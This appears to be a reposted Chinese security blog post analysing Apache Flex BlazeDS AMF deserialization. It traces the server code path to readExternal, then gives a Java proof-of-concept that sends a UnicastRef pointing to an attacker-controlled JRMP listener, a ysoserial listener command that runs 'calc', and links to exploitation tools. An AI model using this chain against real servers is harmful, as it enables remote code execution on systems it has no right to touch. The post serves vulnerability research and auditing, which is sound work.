浅说AMF反序列化及利用链构造

admin 2023年12月21日15:38:58评论64 views字数 5184阅读17分16秒阅读模式
浅说AMF反序列化及利用链构造

点击上方·关注我们吧

浅说AMF反序列化及利用链构造
浅说AMF反序列化及利用链构造

首先查看常规项目中,amf的配置入口,MessageBrokerServlet类处理/messagebroker/*请求

浅说AMF反序列化及利用链构造

接下来跟下去查看流程,在MessageBrokerServletservice方法中,先将HttpServletRequest等对象存到FlexContext的变量ThreadLocalObjects

浅说AMF反序列化及利用链构造

随后根据endpointPath去获取对应的endpoint

浅说AMF反序列化及利用链构造

浅说AMF反序列化及利用链构造

web.xml已经指定过配置文件

浅说AMF反序列化及利用链构造

在配置文件中可以看到是由AMFEndpoint来处理/messagebroker/amf这个请求(endpointPath),即endpointPathendpoint就是AMFEndpoint

浅说AMF反序列化及利用链构造

回到MessageBrokerServlet.class

在得到处理请求的类后就使用该类的service方法处理请求

浅说AMF反序列化及利用链构造

在前面的代码中可以看到endpoint的对象类型是Endpoint,而Endpoint是一个接口,所以要找到该接口的实现类

浅说AMF反序列化及利用链构造

所以实际就是BaseHTTPEndpointservice方法来处理/amf请求

service方法中,会交由filterChain.invoke处理上下文内容

浅说AMF反序列化及利用链构造

filterChain

浅说AMF反序列化及利用链构造

createFilterChain是一个抽象方法

浅说AMF反序列化及利用链构造

需要找到实现他的子类,即AMFEndpoint

浅说AMF反序列化及利用链构造

跟进SerializationFilter类查看invoke方法

其会获取输入流封装到deserializer对象

浅说AMF反序列化及利用链构造

具体可以看到getHttpRequest方法返回的内容就是之前存在threadLocalObject里的信息

浅说AMF反序列化及利用链构造

initialize方法:

浅说AMF反序列化及利用链构造

随后进入到readMessage处理上下文内容

浅说AMF反序列化及利用链构造

readMessage方法中,会执行三次readUnsignedShort方法分别获取versionheadersCountbodyCount

漏洞触发主要在bodyCount

浅说AMF反序列化及利用链构造

走到readBody

浅说AMF反序列化及利用链构造

进入到readObject方法

因为之前初始化的时候赋值过,所以这的amfIn就是Amf0Input对象,即这里的readObject其实是Amf0InputreadObject

浅说AMF反序列化及利用链构造

跟进Amf0Input查看readObject方法,该方法会先读取传入的数据字节,然后根据不同的属性进入对应的方法进行处理

浅说AMF反序列化及利用链构造

查看readObjectValue

已知typeamfIn.readUnsignedShort 获取得来,type2字节,这里会首先读取1字节,当读取的值是17时(序列化时写入)就会再初始化一次avmPlusInput,并进入到readObject方法

浅说AMF反序列化及利用链构造

readObject方法中,再读取1字节

浅说AMF反序列化及利用链构造

跟进readObjectValue方法,当读到的值是10时(序列化时写入)就会进入到readScriptObject方法

浅说AMF反序列化及利用链构造

readScriptObject方法中,会根据传入的类名返回一个对象

浅说AMF反序列化及利用链构造

跟进getClassFromClassName查看具体实现

浅说AMF反序列化及利用链构造

createClass方法会返回一个初始化的对象

浅说AMF反序列化及利用链构造

然后会将对象传进getProxyAndRegister方法查找对应的属性代理,用于处理对象的属性读写,如果注册表中存在,则传进createDefaultInstance方法实例化对象

浅说AMF反序列化及利用链构造

然而注册表里只有几个异常和Map对象

具体可以看getRegistry方法:

    private static boolean preregistered = false;
...
public static PropertyProxyRegistry getRegistry() { if (!preregistered) { preRegister(); preregistered = true; }
return registry; }
private static void preRegister() { ThrowableProxy proxy = new ThrowableProxy(); registry.register(MessageException.class, proxy); registry.register(LocalizedException.class, proxy); registry.register(Throwable.class, proxy); MapProxy mapProxy = new MapProxy(); registry.register(ASObject.class, mapProxy); registry.register(HashMap.class, mapProxy); registry.register(AbstractMap.class, mapProxy); registry.register(Map.class, mapProxy); }

所以流程会将对象传入createInstance方法进行实例化

浅说AMF反序列化及利用链构造

createInstance实际还是会调用到getClassFromClassName来返回一个对象

浅说AMF反序列化及利用链构造

createInstanceFromClassName方法:

浅说AMF反序列化及利用链构造

在获得一个实例化对象后,会判断该对象是否实现了Externalizable接口,如果实现了则进入readExternalizable方法,在该方法里使用readExternal方法进行反序列化,漏洞在此触发

浅说AMF反序列化及利用链构造

按照流程,想要利用这一步的反序列化,需要找一个实现了Externalizable接口且有公共无参构造函数的利用链,比如sun.rmi.server.UnicastRef

浅说AMF反序列化及利用链构造

浅说AMF反序列化及利用链构造

改一下ysoserialJRMPClient即可得到一个POC:

import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.*;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.Reflections; import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.math.BigInteger;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue; /** * @Author:novy * @Date:13:44 2022/5/30 * @Version 1.0 **/public class AMFEXPLoit {    public static void main(String[] args) throws Exception {        Object object = GetObject("192.168.31.169",1234);//JRMP启动地址、端口         // 序列化对象,生成AMF Message对象        byte[] amf = serialize(object);        System.out.println("序列化:" + amf);         // 反序列化对象        ActionMessage actionMessage = deserialize(amf);        System.out.println("反序列化:" + actionMessage);    }    public static Object GetObject(String host,int port) throws Exception {         ObjID id = new ObjID(new Random().nextInt()); // RMI registry        TCPEndpoint te = new TCPEndpoint(host, port);        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        return ref;    }    public static byte[] serialize(Object data) throws IOException {        MessageBody body = new MessageBody();        body.setData(data);        ActionMessage message = new ActionMessage();        message.addBody(body);        ByteArrayOutputStream out = new ByteArrayOutputStream();        AmfMessageSerializer serializer = new AmfMessageSerializer();        serializer.initialize(SerializationContext.getSerializationContext(), out, null);        serializer.writeMessage(message);        return out.toByteArray();    }     public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {        ByteArrayInputStream in = new ByteArrayInputStream(amf);        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);        ActionMessage actionMessage = new ActionMessage();        deserializer.readMessage(actionMessage, new ActionContext());        return actionMessage;    }}

服务器启动JRMP,运行POC

java -cp ysoserial-1.0.jar ysoserial.exploit.JRMPListener 1234 ROME "calc"

浅说AMF反序列化及利用链构造

当然这只是基于实现了Externalizable接口的反序列化利用,在判断即使没有实现Externalizable,流程依旧会往下走其他反序列化逻辑,也就是说,哪怕没有实现Externalizable接口,也可以找实现了Serializable 接口的链来进行利用,当然还是需要有公共无参构造方法

最后

写了个利用工具
https://github.com/novysodope/AMF_JRMP

不出网参考
https://github.com/codewhitesec/ColdFusionPwn
ColdFusionPwn直接下载他的发布版本使用会提示找不到主类,建议下载源码用idea运行,参数直接[-s|-e] [payload type] '[command]' [outfile]

Tips

在往后的审计中,如果看到有引用

<dependency><groupId>org.apache.flex.blazeds</groupId><artifactId>flex-messaging-core</artifactId><version>4.7.2</version></dependency>

或者jar包中用到这种的

浅说AMF反序列化及利用链构造

基本可以确定存在flex相关漏洞




浅说AMF反序列化及利用链构造

原文始发于微信公众号(白帽100安全攻防实验室):浅说AMF反序列化及利用链构造

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日15:38:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅说AMF反序列化及利用链构造http://cn-sec.com/archives/2323918.html

发表评论

匿名网友 填写信息